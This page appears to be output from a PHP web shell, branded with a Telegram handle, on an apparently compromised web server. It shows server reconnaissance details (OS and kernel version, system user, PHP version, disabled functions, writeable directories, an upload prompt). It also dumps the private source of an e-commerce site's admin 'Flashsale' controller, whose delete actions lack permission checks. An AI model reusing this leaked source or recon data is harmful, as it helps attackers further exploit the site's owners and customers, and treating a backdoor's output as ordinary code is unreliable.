https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/indolok.id/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/indolok.id/application/controllers/admin/Flashsale.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Flashsale extends Admin_Controller {

	private $image_filename = NULL;
		
	function __construct() {

		parent::__construct();	
		$this->load->library('form_validation');
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); //above is to add class to form validation error, to be styled

		if (!in_array('flashsale', $this->data['allowed_module'])) {
			$this->data['allowed'] = false;
		} else {
			$this->data['allowed'] = true;
		}
	}
		
	//this is to list all sizes 
	public function index() {
		
		//pagination in action. 100 results per page
		$this->load->library('pagination');
		$config['base_url'] = base_url() . 'admin/flashsale/index';
		$config['per_page'] = 100;
		$config["uri_segment"] = 4;
		$this->load->helper('pagination');
		pagination_format();
		$config['total_rows'] = $this->db->get('flashsale')->num_rows();
		$this->pagination->initialize($config);

		$this->db->select('*')->from('flashsale')->limit($config["per_page"], $this->uri->segment(4));
		$this->data['flashsale'] = $this->db->get()->result();

		//load view
		$this->data['subview'] = 'admin/flashsale/index';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer'); 	
    }
	
	//to add a new size 
	public function add() {

		if($this->data['allowed'] == false) { redirect('admin/dashboard'); }

		$this->data['flashsale'] = new stdClass();
		$this->data['flashsale']->time_start = '';
		$this->data['flashsale']->time_end = '';
		$this->data['flashsale']->banner = '';
		$this->data['flashsale_products'] = array();
			
		//validation in action
		//validation check in action
		$config = array(  
		    array(
		         'field'   => 'time_start',
		         'label'   => 'Time Start',
		         'rules'   => 'required'
		    ), 
		    array(
		         'field'   => 'time_end',
		         'label'   => 'Time End',
		         'rules'   => 'required'
		    ), 
		    array(
		         'field'   => 'userfile',
		         'label'   => 'Banner',
		         'rules'   => 'callback__cek_banner'
		    ), 
		    array(
		         'field'   => 'search_product1',
		         'label'   => 'Product 1',
		         'rules'   => 'required'
		    ), 
		     array(
		         'field'   => 'search_product1',
		         'label'   => 'Product 1',
		         'rules'   => 'required'
		    ), 
		);

		for ($i=1; $i<=100; $i++) { 

			$config[]['field'] = "discounted_price{$i}";
			$config[]['label'] = "discounted_price{$i}";
			$config[]['rules'] = "trim";

			$config[]['field'] = "quota_per_user{$i}";
			$config[]['label'] = "quota_per_user{$i}";
			$config[]['rules'] = "trim";

			$config[]['field'] = "counter{$i}";
			$config[]['label'] = "counter{$i}";
			$config[]['rules'] = "trim";
		}

		for ($i=2; $i<=100; $i++) { 

			$config[]['field'] = "search_product{$i}";
			$config[]['label'] = "search_product{$i}";
			$config[]['rules'] = "trim";
		}

		$this->form_validation->set_rules($config);  

		if($this->form_validation->run($this) == TRUE) { 

			$data = array(
				'time_start' 	=> $this->security->xss_clean($this->input->post('time_start')),
				'time_end'	 	=> $this->security->xss_clean($this->input->post('time_end'))
			);
			if($this->image_filename != NULL) {
				$data['banner'] = $this->image_filename;
			}

			$current_day =  date('d'); 
			$current_month =  date('m'); 
			$current_year =  date('Y');

			$this->db->insert('flashsale', $data);
			$id = $this->db->insert_id();

			//update flsahsale_id
			$data = array(
				'flashsale_id' => 'FS/' . $current_year . '/' . $current_month . '/' .  $current_day . '/' . $id
			);
			$this->db->where('id', $id);
			$this->db->update('flashsale', $data);

			//edit flashsale products item..
			for($i=1; $i<=100; $i++) {

				if(!empty($this->input->post("search_product{$i}"))) {

					$data['flashsale_id'] = $id;

					//check product_id
					$this->db->select('id_products')->from('products')->where('title', $this->input->post("search_product{$i}"));
					$count_product = $this->db->get()->num_rows();
					
					if($count_product > 0) {
						
						//get product id
						$this->db->select('id_products, discounted_price')->from('products')->where('title', $this->input->post("search_product{$i}"));
						$data_product = $this->db->get()->row();
						$data['product_id'] = $data_product->id_products;
						$discounted_price = $data_product->discounted_price;

						$data['product_name'] = $this->input->post("search_product{$i}");

						if(empty($this->input->post("discounted_price{$i}"))) {
							$data['discounted_price'] =  $discounted_price;
						} else {
							$data['discounted_price'] =  $this->input->post("discounted_price{$i}");
						}

						if(empty($this->input->post("quota_per_user{$i}"))) {
							$data['max_per_user'] =  1;
						} else {
							$data['max_per_user'] =  $this->input->post("quota_per_user{$i}");
						}

						if(empty($this->input->post("counter{$i}"))) {
							$data['counter'] =  1;
						} else {
							$data['counter'] =  $this->input->post("counter{$i}");
						}

						$this->db->insert('flashsale_products', $data);
					}
				}
			}

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Flashsale Add Successful</p>');

			redirect('admin/flashsale');
		} 

		//check for other flashsale time end date. get the maximum time end.
		$this->db->select('time_end')->from('flashsale');
		$count = $this->db->get()->num_rows();
		
		if($count > 0) {
			$this->db->select_max('time_end')->from('flashsale');
			/* $start_time_array = explode(' ', $this->db->get()->row()->time_end); */
			/* $this->data['start_date'] = $start_time_array[0];
			$this->data['start_time'] = $start_time_array[1]; */
			$this->data['start_date'] = $this->db->get()->row()->time_end;
		} 
		
		$this->data['subview'] = 'admin/flashsale/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
	}
	
	//to edit size in admin
	public function edit($id = NULL) {

		//check if id exist. If not exist, show 404.
		$this->db->select('id')->from('flashsale')->where('id', $id);
		$count = $this->db->get()->num_rows();
		
		if ($count == 0) { show_404(); }	

		//get flashsale data
		$this->db->select('*')->from('flashsale')->where('id', $id);
		$this->data['flashsale'] = $this->db->get()->row();

		//get flashsale product items
		$this->db->select('*')->from('flashsale_products')->where('flashsale_id', $id);
		$this->data['flashsale_products'] = $this->db->get()->result_array();
		
		//validation check in action
		//validation in action
		$config = array(  
		    array(
		         'field'   => 'time_start',
		         'label'   => 'Time Start',
		         'rules'   => 'required'
		    ), 
		    array(
		         'field'   => 'time_end',
		         'label'   => 'Time End',
		         'rules'   => 'required'
		    ), 
		    array(
		         'field'   => 'userfile',
		         'label'   => 'Banner',
		         'rules'   => 'callback__cek_banner'
		    ), 
		    array(
		         'field'   => 'search_product1',
		         'label'   => 'Product 1',
		         'rules'   => 'required'
		    ), 
		     array(
		         'field'   => 'search_product1',
		         'label'   => 'Product 1',
		         'rules'   => 'required'
		    ), 
		);

		for ($i=1; $i<=100; $i++) { 

			$config[]['field'] = "discounted_price{$i}";
			$config[]['label'] = "discounted_price{$i}";
			$config[]['rules'] = "trim";

			$config[]['field'] = "quota_per_user{$i}";
			$config[]['label'] = "quota_per_user{$i}";
			$config[]['rules'] = "trim";

			$config[]['field'] = "counter{$i}";
			$config[]['label'] = "counter{$i}";
			$config[]['rules'] = "trim";
		}

		for ($i=2; $i<=100; $i++) { 

			$config[]['field'] = "search_product{$i}";
			$config[]['label'] = "search_product{$i}";
			$config[]['rules'] = "trim";
		}

		$this->form_validation->set_rules($config);  

		if($this->form_validation->run($this) == TRUE) { 
			
			$data_flashsale = array(
				'time_start' 	=> $this->security->xss_clean($this->input->post('time_start')),
				'time_end'	 	=> $this->security->xss_clean($this->input->post('time_end'))
			);
			if($this->image_filename != NULL) {
				$data_flashsale['banner'] = $this->image_filename;
			}

			$this->db->where('id', $id);
			$this->db->update('flashsale', $data_flashsale);

			//edit flashsale products item..
			//first, delete all flashsale products items..
			/* $this->db->where('flashsale_id', $id);
			$this->db->delete('flashsale_products'); */

			for($i=1; $i<=100; $i++) {

				if(!empty($this->input->post("search_product{$i}"))) {

					$data['flashsale_id'] = $id;

					//get product_id
					$this->db->select('id_products')->from('products')->where('title', $this->input->post("search_product{$i}"));
					$product_id = $this->db->get()->row();

					if(count($product_id) > 0) {
						//this product id is exist..
						//check if this producct already exist in flashsale product table
						$this->db->select('product_id')->from('flashsale_products')->where('product_id', $product_id->id_products)->where('flashsale_id', $id);
						$count_product = $this->db->get()->num_rows();

						if($count_product > 0) {
							//this product exist in flashsale product table, then update it

							if(empty($this->input->post("discounted_price{$i}"))) {
								$data['discounted_price'] =  0;
							} else {
								$data['discounted_price'] =  $this->input->post("discounted_price{$i}");
							}

							if(empty($this->input->post("quota_per_user{$i}"))) {
								$data['max_per_user'] =  9999;
							} else {
								$data['max_per_user'] =  $this->input->post("quota_per_user{$i}");
							}

							if(empty($this->input->post("counter{$i}"))) {
								$data['counter'] =  1;
							} else {
								$data['counter'] =  $this->input->post("counter{$i}");
							}

							$this->db->where('flashsale_id', $id);
							$this->db->where('product_id', $product_id->id_products);
							$this->db->update('flashsale_products', $data);

						} else {
							//this product not yet exist...then insert...
							$data['product_id'] = $product_id->id_products;
							$data['product_name'] = $this->input->post("search_product{$i}");

							if(empty($this->input->post("discounted_price{$i}"))) {
								$data['discounted_price'] =  0;
							} else {
								$data['discounted_price'] =  $this->input->post("discounted_price{$i}");
							}

							if(empty($this->input->post("quota_per_user{$i}"))) {
								$data['max_per_user'] =  9999;
							} else {
								$data['max_per_user'] =  $this->input->post("quota_per_user{$i}");
							}

							if(empty($this->input->post("counter{$i}"))) {
								$data['counter'] =  1;
							} else {
								$data['counter'] =  $this->input->post("counter{$i}");
							}

							$this->db->insert('flashsale_products', $data);
						}
					}
				}
			}

			$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Flashdata Edit Successful</p>');
			
			redirect('admin/flashsale/edit/' . $id);	
		} 
		
		$this->data['subview'] = 'admin/flashsale/edit';
		$this->load->view('admin/templates/header', $this->data_header); 
		$this->load->view('admin/_layout_main', $this->data);
		$this->load->view('admin/templates/footer');
	}

	public function _cek_banner() {
		
		//get max image width and height from configuration table
		$this->db->select('category_image_width, category_image_height')->from('configuration')->where('id_configuration', 1);
		$image_dimension = $this->db->get()->row();

		//check & processing image banner upload files	
		if($_FILES['userfile']['size'] !== 0) {

			$config['upload_path'] = './uploads/banners/'; 
			$config['allowed_types'] = 'jpg|png|jpeg'; 
			$config['max_size']	= '300';
			$config['max_width']  = $image_dimension->category_image_width;
			$config['max_height']  = $image_dimension->category_image_height;
			
			$this->load->library('upload', $config); 

			if (!$this->upload->do_upload('userfile')) {

				$this->form_validation->set_message('_cek_banner', 'Image size/dimension not correct.');
				return FALSE;

			} else {

				$image = $this->upload->data();
				$this->image_filename = $image['file_name']; 	 

				return TRUE;
			}	
		}	

	}
	
	//to delete a flashsale
	public function delete($id) {

		//delete size
		$this->db->where('id', $id);
		$this->db->delete('flashsale');

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Flashsale Delete Successful</p>');
		redirect('admin/flashsale');
	}	

	//to delete a flashsale
	public function delete_flashsale_product($flashsale_detail_id) {

		//get flashsale id
		$this->db->select('flashsale_id')->from('flashsale_products')->where('id', $flashsale_detail_id);
		$flashsale_id = $this->db->get()->row()->flashsale_id;

		//delete size
		$this->db->where('id', $flashsale_detail_id);
		$this->db->delete('flashsale_products');

		$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Flashsale Delete Successful</p>');
		redirect('admin/flashsale/edit/' . $flashsale_id);
	}	
}

https://t.me/RX1948 - 2025